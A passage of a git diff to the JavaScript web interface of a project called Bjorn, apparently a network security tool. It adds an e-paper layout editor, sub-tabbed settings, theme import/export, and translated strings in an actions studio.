row2.appendChild(resetBtn); + + bar.appendChild(row2); + return bar; +} + +function mkBtn(text, onClick, title = '') { + const b = el('button', { class: 'btn', type: 'button', title }, [text]); + b.addEventListener('click', onClick); + return b; +} + +/* ── Sidebar ─────────────────────────────────────────────── */ +function renderSidebar() { + if (!_sidebarEl || !_layout) return; + empty(_sidebarEl); + + // Properties panel + const propsPanel = el('div', { class: 'epd-props-panel' }); + if (_selectedKey && _layout.elements?.[_selectedKey]) { + const elem = _layout.elements[_selectedKey]; + const isL = isLine(_selectedKey); + + propsPanel.appendChild(el('h4', { style: 'margin:0 0 8px' }, [_selectedKey])); + + const makeHandler = (prop, minVal) => (v) => { + pushUndo(); + _layout.elements[_selectedKey][prop] = minVal != null ? Math.max(minVal, v) : v; + renderAll(); + }; + + if (isL) { + propsPanel.appendChild(propRow('Y', elem.y || 0, makeHandler('y'))); + } else { + propsPanel.appendChild(propRow('X', elem.x || 0, makeHandler('x'))); + propsPanel.appendChild(propRow('Y', elem.y || 0, makeHandler('y'))); + propsPanel.appendChild(propRow('W', elem.w || 0, makeHandler('w', 4))); + propsPanel.appendChild(propRow('H', elem.h || 0, makeHandler('h', 4))); + } + + const delBtn = el('button', { class: 'btn danger epd-delete-btn', type: 'button' }, ['Delete Element']); + delBtn.addEventListener('click', () => { + if (!confirm(`Delete "${_selectedKey}"?`)) return; + pushUndo(); + delete _layout.elements[_selectedKey]; + _selectedKey = null; + renderAll(); + }); + propsPanel.appendChild(delBtn); + } else { + propsPanel.appendChild(el('p', { class: 'epd-hint' }, ['Click an element on the canvas'])); + } + _sidebarEl.appendChild(propsPanel); + + // Elements list + const listSection = el('div', { class: 'epd-elements-list' }); + listSection.appendChild(el('h4', { style: 'margin:8px 0 4px' }, ['Elements'])); + + const elements = _layout.elements || {}; + const rects = Object.keys(elements).filter(k => !isLine(k)).sort(); + const lines = Object.keys(elements).filter(k => isLine(k)).sort(); + + const ul = el('ul', { class: 'unified-list' }); + for (const key of rects) { + const e = elements[key]; + ul.appendChild(makeElementListItem(key, e, false)); + } + if (lines.length) { + ul.appendChild(el('li', { class: 'epd-list-divider' }, ['Lines'])); + for (const key of lines) { + ul.appendChild(makeElementListItem(key, elements[key], true)); + } + } + listSection.appendChild(ul); + _sidebarEl.appendChild(listSection); + + // Fonts section + const fonts = _layout.fonts; + if (fonts && Object.keys(fonts).length) { + const fontsSection = el('div', { class: 'epd-fonts-section' }); + fontsSection.appendChild(el('h4', { style: 'margin:12px 0 4px' }, ['Font Sizes'])); + for (const [fk, fv] of Object.entries(fonts)) { + fontsSection.appendChild(propRow(fk, fv, (v) => { + pushUndo(); + _layout.fonts[fk] = Math.max(4, v); + renderSidebar(); + })); + } + _sidebarEl.appendChild(fontsSection); + } + + // Meta info + const meta = _layout.meta || {}; + _sidebarEl.appendChild(el('p', { style: 'margin:12px 0 2px;opacity:.5;font-size:11px' }, [ + `${meta.name || '?'} \u2014 ${meta.ref_width || '?'}\u00d7${meta.ref_height || '?'}px` + ])); +} + +function makeElementListItem(key, e, isL) { + const li = el('li', { + class: `card epd-element-item${key === _selectedKey ? ' selected' : ''}`, + }); + if (isL) { + li.append( + el('span', { class: 'epd-line-dash' }, ['\u2500\u2500']), + el('span', { style: 'flex:1;font-weight:700' }, [key]), + el('span', { class: 'epd-coords' }, [`y=${e.y}`]), + ); + } else { + // Show icon thumbnail if available + const iconUrl = _iconCache.get(key); + if (iconUrl) { + const thumb = el('img', { src: iconUrl, class: 'epd-list-icon' }); + li.appendChild(thumb); + } else { + li.appendChild(el('span', { + class: 'epd-type-dot', + style: `background:${(TYPE_COLORS[guessType(key)] || TYPE_COLORS.default).stroke}` + })); + } + li.append( + el('span', { style: 'flex:1;font-weight:700' }, [key]), + el('span', { class: 'epd-coords' }, [`(${e.x},${e.y})`]), + ); + } + li.addEventListener('click', () => { _selectedKey = key; renderAll(); _mainEl?.focus(); }); + return li; +} + +function propRow(label, value, onChange) { + const row = el('div', { class: 'epd-prop-row' }); + const lbl = el('label', {}, [label]); + const inp = el('input', { + type: 'number', class: 'input epd-prop-input', + value: String(value), step: '1', + }); + inp.addEventListener('change', () => { + const v = parseInt(inp.value); + if (Number.isFinite(v)) onChange(v); + }); + row.append(lbl, inp); + return row; +} + +/* ── Canvas Events (Drag & Drop) ─────────────────────────── */ +function bindCanvasEvents(svg, W, H) { + const toRef = (clientX, clientY) => { + const rect = svg.getBoundingClientRect(); + const rawX = (clientX - rect.left) / _zoom; + const rawY = (clientY - rect.top) / _zoom; + // Account for rotation + if (_rotation === 90) return { x: rawY, y: W - rawX }; + if (_rotation === 180) return { x: W - rawX, y: H - rawY }; + if (_rotation === 270) return { x: H - rawY, y: rawX }; + return { x: rawX, y: rawY }; + }; + + svg.addEventListener('pointerdown', (ev) => { + if (ev.button !== 0) return; + const pt = toRef(ev.clientX, ev.clientY); + + // Resize handle hit + const handleEl = ev.target.closest('[data-handle]'); + if (handleEl && handleEl.dataset.key) { + const key = handleEl.dataset.key; + const elem = _layout.elements?.[key]; + if (!elem) return; + pushUndo(); + _dragging = { key, corner: handleEl.dataset.handle, type: 'resize', startElem: { ...elem } }; + _selectedKey = key; + svg.setPointerCapture(ev.pointerId); + ev.preventDefault(); + renderSidebar(); + return; + } + + // Element hit + const gEl = ev.target.closest('[data-key]'); + if (gEl && gEl.dataset.key) { + const key = gEl.dataset.key; + const elem = _layout.elements?.[key]; + if (!elem) return; + pushUndo(); + _selectedKey = key; + _dragging = { + key, type: 'move', + offsetX: isLine(key) ? 0 : pt.x - (elem.x || 0), + offsetY: pt.y - (elem.y || 0), + }; + svg.setPointerCapture(ev.pointerId); + ev.preventDefault(); + renderSidebar(); + return; + } + + // Deselect — keep focus on main for arrow keys + _selectedKey = null; + _mainEl?.focus(); + renderAll(); + }); + + svg.addEventListener('pointermove', (ev) => { + if (!_dragging || !_layout) return; + const pt = toRef(ev.clientX, ev.clientY); + const key = _dragging.key; + const elem = _layout.elements[key]; + if (!elem) return; + const g = _snapEnabled ? _gridSize : 0; + + if (_dragging.type === 'move') { + if (isLine(key)) { + elem.y = clamp(snapVal(pt.y - _dragging.offsetY, g), 0, H); + } else { + elem.x = clamp(snapVal(pt.x - _dragging.offsetX, g), 0, W - (elem.w || 1)); + elem.y = clamp(snapVal(pt.y - _dragging.offsetY, g), 0, H - (elem.h || 1)); + } + } else if (_dragging.type === 'resize') { + const se = _dragging.startElem; + const corner = _dragging.corner; + let nx = se.x, ny = se.y, nw = se.w, nh = se.h; + if (corner.includes('e')) nw = Math.max(4, snapVal(pt.x - se.x, g)); + if (corner.includes('w')) { const newX = snapVal(pt.x, g); nw = Math.max(4, se.x + se.w - newX); nx = se.x + se.w - nw; } + if (corner.includes('s')) nh = Math.max(4, snapVal(pt.y - se.y, g)); + if (corner.includes('n')) { const newY = snapVal(pt.y, g); nh = Math.max(4, se.y + se.h - newY); ny = se.y + se.h - nh; } + elem.x = clamp(nx, 0, W - 4); + elem.y = clamp(ny, 0, H - 4); + elem.w = Math.min(nw, W - elem.x); + elem.h = Math.min(nh, H - elem.y); + } + + updateSvgElement(key, elem, W, H); + updateHandles(key, elem); + renderSidebar(); + }); + + svg.addEventListener('pointerup', (ev) => { + if (_dragging) { + svg.releasePointerCapture(ev.pointerId); + _dragging = null; + renderAll(); + // Focus main for keyboard navigation + _mainEl?.focus(); + } + }); + + // Keyboard + if (!_mainEl._kbBound) { + _mainEl._kbBound = true; + _mainEl.setAttribute('tabindex', '0'); + _mainEl.addEventListener('keydown', (ev) => { + if ((ev.ctrlKey || ev.metaKey) && ev.key === 'z') { ev.preventDefault(); undo(); return; } + if (!_selectedKey || !_layout?.elements?.[_selectedKey]) return; + const step = _snapEnabled && _gridSize > 1 ? _gridSize : 1; + const m = _layout.meta || {}; + const mW = m.ref_width || 122, mH = m.ref_height || 250; + const elem = _layout.elements[_selectedKey]; + let moved = false; + if (ev.key === 'ArrowLeft') { pushUndo(); elem.x = Math.max(0, (elem.x || 0) - step); moved = true; } + if (ev.key === 'ArrowRight') { pushUndo(); elem.x = Math.min(mW - (elem.w || 1), (elem.x || 0) + step); moved = true; } + if (ev.key === 'ArrowUp') { pushUndo(); elem.y = Math.max(0, (elem.y || 0) - step); moved = true; } + if (ev.key === 'ArrowDown') { pushUndo(); elem.y = Math.min(mH - (elem.h || 1), (elem.y || 0) + step); moved = true; } + if (ev.key === 'Delete' || ev.key === 'Backspace') { + if (ev.target.tagName === 'INPUT') return; // don't interfere with input fields + if (confirm(`Delete "${_selectedKey}"?`)) { pushUndo(); delete _layout.elements[_selectedKey]; _selectedKey = null; moved = true; } + } + if (moved) { ev.preventDefault(); renderAll(); } + }); + } +} + +/* ── Live SVG Updates ────────────────────────────────────── */ +function updateSvgElement(key, elem, W, H) { + if (!_svg) return; + const g = _svg.querySelector(`[data-key="${key}"]`); + if (!g) return; + + if (isLine(key)) { + g.querySelectorAll('line').forEach(l => { l.setAttribute('y1', String(elem.y || 0)); l.setAttribute('y2', String(elem.y || 0)); }); + const txt = g.querySelector('text'); + if (txt) txt.setAttribute('y', String((elem.y || 0) - 1.5)); + } else { + const r = g.querySelector('rect'); + if (r) { r.setAttribute('x', String(elem.x || 0)); r.setAttribute('y', String(elem.y || 0)); r.setAttribute('width', String(elem.w || 10)); r.setAttribute('height', String(elem.h || 10)); } + const img = g.querySelector('image'); + if (img) { img.setAttribute('x', String(elem.x || 0)); img.setAttribute('y', String(elem.y || 0)); img.setAttribute('width', String(elem.w || 10)); img.setAttribute('height', String(elem.h || 10)); } + const txt = g.querySelector('text'); + if (txt) { const fs = Math.min(3.5, Math.max(2, (elem.h || 10) * 0.28)); txt.setAttribute('x', String((elem.x || 0) + 1)); txt.setAttribute('y', String((elem.y || 0) + fs + 0.5)); } + } +} + +function updateHandles(key, elem) { + if (!_svg || isLine(key)) return; + const hs = 2.5; + const corners = { + nw: [elem.x, elem.y], ne: [elem.x + (elem.w || 0), elem.y], + sw: [elem.x, elem.y + (elem.h || 0)], se: [elem.x + (elem.w || 0), elem.y + (elem.h || 0)], + }; + _svg.querySelectorAll(`[data-key="${key}"][data-handle]`).forEach(h => { + const c = corners[h.dataset.handle]; + if (c) { h.setAttribute('x', String(c[0] - hs)); h.setAttribute('y', String(c[1] - hs)); } + }); +} + +/* ── Add Element Modal ───────────────────────────────────── */ +function showAddModal() { + if (!_mainEl || !_layout) return; + const meta = _layout.meta || {}; + const W = meta.ref_width || 122; + const H = meta.ref_height || 250; + + const overlay = el('div', { class: 'epd-add-modal' }); + const modal = el('div', { class: 'modal-content' }); + modal.innerHTML = ` +

Add Element

+
+ + +
+
+ + +
+ `; + overlay.appendChild(modal); + overlay.style.display = 'flex'; + _mainEl.appendChild(overlay); + + const nameInp = overlay.querySelector('#epd-add-name'); + const typeInp = overlay.querySelector('#epd-add-type'); + overlay.querySelector('#epd-add-cancel').addEventListener('click', () => overlay.remove()); + overlay.addEventListener('click', (e) => { if (e.target === overlay) overlay.remove(); }); + overlay.querySelector('#epd-add-confirm').addEventListener('click', () => { + const name = (nameInp.value || '').trim().replace(/[^a-z0-9_]/gi, '_').toLowerCase(); + if (!name) { toast('Name is required', 2000, 'error'); return; } + if (_layout.elements[name]) { toast('Element already exists', 2000, 'error'); return; } + pushUndo(); + _layout.elements[name] = typeInp.value === 'line' + ? { y: Math.round(H / 2) } + : { x: Math.round(W / 2 - 10), y: Math.round(H / 2 - 10), w: 20, h: 20 }; + _selectedKey = name; + overlay.remove(); + renderAll(); + }); + nameInp.focus(); +} + +/* ── Import / Export ─────────────────────────────────────── */ +function exportLayout() { + if (!_layout) return; + const blob = new Blob([JSON.stringify(_layout, null, 2)], { type: 'application/json' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `${_layout.meta?.name || 'layout'}.json`; + a.click(); + URL.revokeObjectURL(url); + toast(Lx('epd.exported', 'Layout exported'), 1800, 'success'); +} + +function importLayout() { + const inp = document.createElement('input'); + inp.type = 'file'; + inp.accept = '.json'; + inp.onchange = async () => { + const f = inp.files?.[0]; + if (!f) return; + try { + const text = await f.text(); + const data = JSON.parse(text); + if (!data.meta || !data.elements) { toast('Invalid layout: needs "meta" + "elements"', 3000, 'error'); return; } + pushUndo(); + _layout = data; + _selectedKey = null; + toast(Lx('epd.imported', 'Layout imported'), 1800, 'success'); + renderAll(); + } catch (err) { + toast(`Import failed: ${err.message}`, 3000, 'error'); + } + }; + inp.click(); +} diff --git a/web/js/core/settings-config.js b/web/js/core/settings-config.js index 0e10d49..10cbc64 100644 --- a/web/js/core/settings-config.js +++ b/web/js/core/settings-config.js @@ -1,4 +1,4 @@ -import { $, el, toast, empty } from './dom.js'; +import { $, el, toast, empty } from './dom.js'; import { api } from './api.js'; import { t } from './i18n.js'; @@ -33,10 +33,51 @@ const RANGES = { semaphore_slots: { min: 1, max: 128, step: 1 }, line_spacing: { min: 0, max: 10, step: 0.1 }, vuln_update_interval: { min: 1, max: 86400, step: 1 }, + ai_feature_selection_min_variance: { min: 0, max: 1, step: 0.001 }, + ai_model_history_max: { min: 1, max: 10, step: 1 }, + ai_auto_rollback_window: { min: 10, max: 500, step: 10 }, + ai_cold_start_bootstrap_weight: { min: 0, max: 1, step: 0.05 }, + circuit_breaker_threshold: { min: 1, max: 20, step: 1 }, + manual_mode_scan_interval: { min: 30, max: 3600, step: 10 }, }; +/* ── Sub-tab grouping: maps __title_* section keys → sub-tab id ── */ +const SECTION_TO_TAB = { + '__title_Bjorn__': 'core', + '__title_modes__': 'core', + '__title_web__': 'core', + '__title_interfaces__': 'network', + '__title_network__': 'network', + '__title_actions_studio__': 'actions', + '__title_timewaits__': 'actions', + '__title_orchestrator__': 'actions', + '__title_bruteforce__': 'actions', + '__title_display__': 'display', + '__title_epd__': 'display', + '__title_timing__': 'display', + '__title_ai__': 'ai', + '__title_vuln__': 'security', + '__title_lists__': 'security', + '__title_runtime__': 'system', + '__title_power__': 'system', + '__title_sentinel__': 'security', + '__title_bifrost__': 'network', + '__title_loki__': 'security', +}; + +const SUB_TABS = [ + { id: 'core', icon: '\u2699', label: 'Core' }, + { id: 'network', icon: '\uD83C\uDF10', label: 'Network' }, + { id: 'actions', icon: '\u26A1', label: 'Actions' }, + { id: 'display', icon: '\uD83D\uDDA5', label: 'Display' }, + { id: 'ai', icon: '\uD83E\uDDE0', label: 'AI / RL' }, + { id: 'security', icon: '\uD83D\uDD12', label: 'Security' }, + { id: 'system', icon: '\uD83D\uDD27', label: 'System' }, +]; + let _host = null; let _lastConfig = null; +let _activeSubTab = 'core'; function resolveTooltips(config) { const tips = config?.__tooltips_i18n__; @@ -260,41 +301,114 @@ function createSectionCard(title) { ]); } +/* ── Sub-tab navigation bar ── */ +function createSubTabBar(onSwitch) { + const nav = el('nav', { class: 'cfg-subtabs' }); + for (const tab of SUB_TABS) { + const btn = el('button', { + class: `cfg-subtab${tab.id === _activeSubTab ? ' active' : ''}`, + 'data-subtab': tab.id, + type: 'button', + }, [`${tab.icon}\u00A0${tab.label}`]); + nav.appendChild(btn); + } + nav.addEventListener('click', (e) => { + const btn = e.target.closest('.cfg-subtab'); + if (!btn) return; + const id = btn.dataset.subtab; + if (id === _activeSubTab) return; + _activeSubTab = id; + nav.querySelectorAll('.cfg-subtab').forEach(b => b.classList.toggle('active', b.dataset.subtab === id)); + onSwitch(id); + }); + return nav; +} + function render(config) { if (!_host) return; empty(_host); ensureChipHelpers(); const tooltips = resolveTooltips(config); - const togglesCard = createSectionCard(t('settings.toggles')); - const togglesBody = togglesCard.querySelector('.cfg-card-body'); - const cardsGrid = el('div', { class: 'cfg-cards-grid' }); + /* Buckets: one per sub-tab, each with a toggles card + section cards */ + const buckets = {}; + for (const tab of SUB_TABS) { + buckets[tab.id] = { + togglesBody: null, + togglesCard: null, + cardsGrid: el('div', { class: 'cfg-cards-grid' }), + currentCard: null, + pane: el('div', { class: 'cfg-subtab-pane', 'data-pane': tab.id }), + }; + } + + /* Helper: lazily create the toggles card for a bucket */ + const ensureToggles = (b) => { + if (!b.togglesCard) { + b.togglesCard = createSectionCard(t('settings.toggles')); + b.togglesBody = b.togglesCard.querySelector('.cfg-card-body'); + } + }; + + let currentTabId = 'core'; // default bucket for fields before first __title_* - let currentCard = null; for (const [key, value] of Object.entries(config || {})) { if (key.startsWith('__')) { if (key.startsWith('__title_')) { - if (currentCard) cardsGrid.appendChild(currentCard); - currentCard = createSectionCard(String(value).replace('__title_', '').replace(/__/g, '')); + /* Close previous card if any */ + const prevBucket = buckets[currentTabId]; + if (prevBucket.currentCard) { + prevBucket.cardsGrid.appendChild(prevBucket.currentCard); + prevBucket.currentCard = null; + } + /* Switch to the right bucket */ + currentTabId = SECTION_TO_TAB[key] || 'core'; + const bucket = buckets[currentTabId]; + const sectionName = String(value).replace('__title_', '').replace(/__/g, ''); + bucket.currentCard = createSectionCard(sectionName); } continue; } + const bucket = buckets[currentTabId]; const tooltipI18nKey = String(tooltips[key] || ''); + if (typeof value === 'boolean') { - togglesBody.appendChild(createBooleanField(key, value, tooltipI18nKey)); + ensureToggles(bucket); + bucket.togglesBody.appendChild(createBooleanField(key, value, tooltipI18nKey)); continue; } - if (!currentCard) currentCard = createSectionCard(t('settings.general')); - const body = currentCard.querySelector('.cfg-card-body'); + + if (!bucket.currentCard) bucket.currentCard = createSectionCard(t('settings.general')); + const body = bucket.currentCard.querySelector('.cfg-card-body'); if (Array.isArray(value)) body.appendChild(createListField(key, value, tooltipI18nKey)); else if (typeof value === 'number') body.appendChild(createNumberField(key, value, tooltipI18nKey)); else body.appendChild(createStringField(key, value, tooltipI18nKey)); } - if (currentCard) cardsGrid.appendChild(currentCard); - _host.appendChild(togglesCard); - _host.appendChild(cardsGrid); + /* Finalize all buckets */ + for (const tab of SUB_TABS) { + const b = buckets[tab.id]; + if (b.currentCard) b.cardsGrid.appendChild(b.currentCard); + if (b.togglesCard) b.pane.appendChild(b.togglesCard); + if (b.cardsGrid.children.length) b.pane.appendChild(b.cardsGrid); + } + + /* Build sub-tab bar */ + const showPane = (id) => { + _host.querySelectorAll('.cfg-subtab-pane').forEach(p => { + p.hidden = p.dataset.pane !== id; + }); + }; + const subTabBar = createSubTabBar(showPane); + _host.appendChild(subTabBar); + + /* Append all panes */ + for (const tab of SUB_TABS) { + const b = buckets[tab.id]; + b.pane.hidden = tab.id !== _activeSubTab; + _host.appendChild(b.pane); + } } function collect() { @@ -371,6 +485,3 @@ export function mountConfig(host) { export function hasLoadedConfig() { return !!_lastConfig; } - - - diff --git a/web/js/core/theme.js b/web/js/core/theme.js index f414bef..7344eb6 100644 --- a/web/js/core/theme.js +++ b/web/js/core/theme.js @@ -7,6 +7,8 @@ * - User custom overrides persisted to localStorage * - Theme editor with color pickers + raw CSS textarea * - Icon pack switching via icon registry + * - Import / Export themes as JSON + * - Live preview: overlay disabled while Theme tab is active */ import { t } from './i18n.js'; @@ -29,9 +31,17 @@ const DEFAULT_THEME = { '--accent-2': '#18d6ff', '--c-border': '#00ffff22', '--c-border-strong': '#00ffff33', + '--c-border-hi': '#00ffff44', '--panel': '#0e1717', '--panel-2': '#101c1c', '--c-panel': '#0b1218', + '--c-panel-2': '#0a1118', + '--c-btn': '#0d151c', + '--switch-track': '#111111', + '--switch-on-bg': '#022a1a', + '--sb-track': '#07121a', + '--sb-thumb': '#09372b', + '--glass-8': '#00000088', '--radius': '14px' }; @@ -41,9 +51,13 @@ const TOKEN_GROUPS = [ label: 'theme.group.colors', tokens: [ { key: '--bg', label: 'theme.token.bg', type: 'color' }, + { key: '--bg-2', label: 'theme.token.bg2', type: 'color' }, { key: '--ink', label: 'theme.token.ink', type: 'color' }, + { key: '--muted', label: 'theme.token.muted', type: 'color' }, { key: '--acid', label: 'theme.token.accent1', type: 'color' }, { key: '--acid-2', label: 'theme.token.accent2', type: 'color' }, + { key: '--accent', label: 'theme.token.accent', type: 'color' }, + { key: '--accent-2', label: 'theme.token.accentAlt', type: 'color' }, { key: '--danger', label: 'theme.token.danger', type: 'color' }, { key: '--warning', label: 'theme.token.warning', type: 'color' }, { key: '--ok', label: 'theme.token.ok', type: 'color' }, @@ -55,7 +69,26 @@ const TOKEN_GROUPS = [ { key: '--panel', label: 'theme.token.panel', type: 'color' }, { key: '--panel-2', label: 'theme.token.panel2', type: 'color' }, { key: '--c-panel', label: 'theme.token.ctrlPanel', type: 'color' }, + { key: '--c-panel-2', label: 'theme.token.ctrlPanel2', type: 'color' }, + { key: '--c-btn', label: 'theme.token.btnBg', type: 'color' }, + ] + }, + { + label: 'theme.group.borders', + tokens: [ { key: '--c-border', label: 'theme.token.border', type: 'color' }, + { key: '--c-border-strong', label: 'theme.token.borderStrong', type: 'color' }, + { key: '--c-border-hi', label: 'theme.token.borderHi', type: 'color' }, + ] + }, + { + label: 'theme.group.controls', + tokens: [ + { key: '--switch-track', label: 'theme.token.switchTrack', type: 'color' }, + { key: '--switch-on-bg', label: 'theme.token.switchOnBg', type: 'color' }, + { key: '--sb-track', label: 'theme.token.scrollTrack', type: 'color' }, + { key: '--sb-thumb', label: 'theme.token.scrollThumb', type: 'color' }, + { key: '--glass-8', label: 'theme.token.glass', type: 'color' }, ] }, { @@ -144,6 +177,60 @@ export function getCurrentOverrides() { return { ...DEFAULT_THEME, ..._userOverrides }; } +/* -- Import / Export -- */ + +/** Export current theme as JSON string */ +export function exportTheme() { + return JSON.stringify(_userOverrides, null, 2); +} + +/** Import theme from JSON string */ +export function importTheme(json) { + try { + const parsed = JSON.parse(json); + if (typeof parsed !== 'object' || Array.isArray(parsed)) throw new Error('Invalid'); + _userOverrides = parsed; + persist(); + applyToDOM(); + return true; + } catch { + return false; + } +} + +/* -- Overlay management for live preview -- */ + +let _overlayWasVisible = false; + +/** Disable the settings backdrop overlay so theme changes are visible live */ +export function disableOverlay() { + const backdrop = document.getElementById('settingsBackdrop'); + if (!backdrop) return; + _overlayWasVisible = true; + backdrop.style.background = 'transparent'; + const modal = backdrop.querySelector('.modal'); + if (modal) { + modal.style.boxShadow = '0 0 0 2px var(--acid), 0 20px 60px rgba(0,0,0,.6)'; + modal.style.maxHeight = '70vh'; + modal.style.overflow = 'auto'; + } +} + +/** Restore the overlay when leaving theme tab */ +export function restoreOverlay() { + if (!_overlayWasVisible) return; + const backdrop = document.getElementById('settingsBackdrop'); + if (!backdrop) return; + backdrop.style.background = ''; + const modal = backdrop.querySelector('.modal'); + if (modal) { + modal.style.boxShadow = ''; + modal.style.maxHeight = ''; + modal.style.overflow = ''; + } + _overlayWasVisible = false; +} + /* -- Icon registry -- */ /** @@ -180,6 +267,9 @@ export function setIconPack(name) { export function mountEditor(container) { container.innerHTML = ''; + /* Disable overlay for live preview */ + disableOverlay(); + const current = getCurrentOverrides(); // Color pickers grouped @@ -243,17 +333,61 @@ export function mountEditor(container) { }); advSection.appendChild(applyBtn); - // Reset button + container.appendChild(advSection); + + // Import / Export / Reset buttons + const actionsRow = document.createElement('div'); + actionsRow.className = 'theme-actions'; + + const exportBtn = document.createElement('button'); + exportBtn.className = 'btn btn-sm'; + exportBtn.textContent = t('theme.export'); + exportBtn.addEventListener('click', () => { + const blob = new Blob([exportTheme()], { type: 'application/json' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = 'bjorn-theme.json'; + a.click(); + URL.revokeObjectURL(url); + }); + actionsRow.appendChild(exportBtn); + + const importBtn = document.createElement('button'); + importBtn.className = 'btn btn-sm'; + importBtn.textContent = t('theme.import'); + importBtn.addEventListener('click', () => { + const input = document.createElement('input'); + input.type = 'file'; + input.accept = '.json'; + input.addEventListener('change', () => { + const file = input.files?.[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = () => { + const ok = importTheme(reader.result); + if (ok) { + mountEditor(container); + } else { + alert(t('theme.importError')); + } + }; + reader.readAsText(file); + }); + input.click(); + }); + actionsRow.appendChild(importBtn); + const resetBtn = document.createElement('button'); resetBtn.className = 'btn btn-sm btn-danger'; resetBtn.textContent = t('theme.reset'); resetBtn.addEventListener('click', () => { resetToDefault(); - mountEditor(container); // Re-render editor + mountEditor(container); }); - advSection.appendChild(resetBtn); + actionsRow.appendChild(resetBtn); - container.appendChild(advSection); + container.appendChild(actionsRow); } /** Parse raw CSS var declarations from textarea */ diff --git a/web/js/pages/actions-studio-runtime.js b/web/js/pages/actions-studio-runtime.js index 3cd0a2d..1c05629 100644 --- a/web/js/pages/actions-studio-runtime.js +++ b/web/js/pages/actions-studio-runtime.js @@ -2,6 +2,8 @@ * Actions Studio runtime for SPA mode. * Keeps graph behavior from original studio while running inside route mount/unmount lifecycle. */ +import { t } from '../core/i18n.js'; + export function mountStudioRuntime(__root) { const tracked = []; const nativeAdd = EventTarget.prototype.addEventListener; @@ -132,15 +134,15 @@ async function saveToStudio(){ state.nodes.forEach((n,id)=> data.nodes.push({id,...n})); try{ const r = await fetch(`${API_BASE}/studio/save`,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)}); - if(!r.ok) throw 0; toast('Sauvegardé','success'); + if(!r.ok) throw 0; toast(t('studio.saved'),'success'); }catch{ localStorage.setItem('bjorn_studio_backup', JSON.stringify(data)); - toast('Sauvegarde locale (DB indisponible)','warn'); + toast(t('studio.localBackup'),'warn'); } } async function applyToRuntime(){ - try{ const r = await fetch(`${API_BASE}/studio/apply`,{method:'POST'}); if(!r.ok) throw 0; toast('Appliqué au runtime','success'); } - catch{ toast('Apply runtime échoué','error'); } + try{ const r = await fetch(`${API_BASE}/studio/apply`,{method:'POST'}); if(!r.ok) throw 0; toast(t('studio.applied'),'success'); } + catch{ toast(t('studio.applyFailed'),'error'); } } /* ===================== Helpers UI ===================== */ @@ -199,7 +201,7 @@ function buildPalette(){ if (!visibleCount) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No actions match this filter.'; + empty.textContent = t('studio.noActionsMatch'); list.appendChild(empty); } const total = arr.length; @@ -237,13 +239,13 @@ function buildHostPalette(){ if (!visibleReal) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No real hosts match this filter.'; + empty.textContent = t('studio.noRealHostsMatch'); real.appendChild(empty); } if (!visibleTest) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No test hosts yet.'; + empty.textContent = t('studio.noTestHostsYet'); test.appendChild(empty); } const allHosts = [...state.hosts.values()]; @@ -848,7 +850,7 @@ function autoLayout(){ // à la fin d'autoLayout(): repelLayout(6, 0.4); // applique aussi le snap vertical des hosts - toast('Auto-layout appliqué','success'); + toast(t('studio.autoLayoutApplied'),'success'); } /* ===================== Inspectors ===================== */ @@ -1240,8 +1242,8 @@ $('#mAutoLayout')?.addEventListener('click',()=>{ $('#mainMenu').style.display=' $('#mRepel')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; repelLayout(); }); $('#mFit')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; fitToScreen(); }); $('#mHelp')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; setHelpModalOpen(true); }); -$('#mImportdbActions').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast('Import Actions DB - TODO','warn'); }); -$('#mImportdbActionsStudio').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast('Import Studio DB - TODO','warn'); }); +$('#mImportdbActions').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast(t('studio.importActionsDb') + ' - TODO','warn'); }); +$('#mImportdbActionsStudio').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast(t('studio.importStudioDb') + ' - TODO','warn'); }); $('#btnHideCanvasHint')?.addEventListener('click',()=>{ const p = loadPrefs(); savePrefsNow({ ...p, hideCanvasHint: true }); @@ -1299,7 +1301,7 @@ $('#btnUpdateAction').addEventListener('click',()=>{ const tt=$('#t_type').value, tp=$('#t_param').value.trim(); a.b_trigger=tp?`${tt}:${tp}`:tt; const el=$(`[data-id="${state.selected}"]`); if(el){ el.className=`node ${a.b_action==='global'?'global':''}`; el.querySelector('.badge').textContent=a.b_action||'normal'; el.querySelector('.v.trigger').textContent=summTrig(a.b_trigger||''); el.querySelector('.v.requires').textContent=requireSummary(a); } - LinkEngine.render(); toast('Action mise à jour','success'); + LinkEngine.render(); toast(t('studio.actionUpdated'),'success'); }); $('#btnDeleteNode').addEventListener('click',()=>{ if(state.selected) deleteNode(state.selected); }); @@ -1308,7 +1310,7 @@ $('#btnUpdateHost').addEventListener('click',()=>{ h.hostname=$('#h_hostname').value.trim(); h.ips=$('#h_ips').value.trim(); h.ports=$('#h_ports').value.trim(); h.alive=parseInt($('#h_alive').value); h.essid=$('#h_essid').value.trim(); h.services=$('#h_services').value.trim(); h.vulns=$('#h_vulns').value.trim(); h.creds=$('#h_creds').value.trim(); const el=$(`[data-id="${state.selected}"]`); if(el){ el.querySelector('.nname').textContent=h.hostname||h.ips||h.mac_address; const rows=el.querySelectorAll('.nbody .row .v'); if(rows[0]) rows[0].textContent=h.ips||'—'; if(rows[1]) rows[1].textContent=h.ports||'—'; if(rows[2]) rows[2].textContent=h.alive?'🟢':'🔴'; } - LinkEngine.render(); toast('Host mis à jour','success'); + LinkEngine.render(); toast(t('studio.hostUpdated'),'success'); }); $('#btnDeleteHost').addEventListener('click',()=>{ if(state.selected) deleteNode(state.selected); }); @@ -1320,16 +1322,16 @@ window.addHostToCanvas=function(mac){ else{ const rect=$('#center').getBoundingClientRect(); const x=80; const y=(rect.height/2 - state.pan.y)/state.pan.scale - 60; addHostNode(h,x,y); LinkEngine.render(); } }; window.deleteTestHost=function(mac){ - if(!confirm('Delete this test host?')) return; - state.hosts.delete(mac); const ids=[]; state.nodes.forEach((n,id)=>{ if(n.type==='host'&&n.data.mac_address===mac) 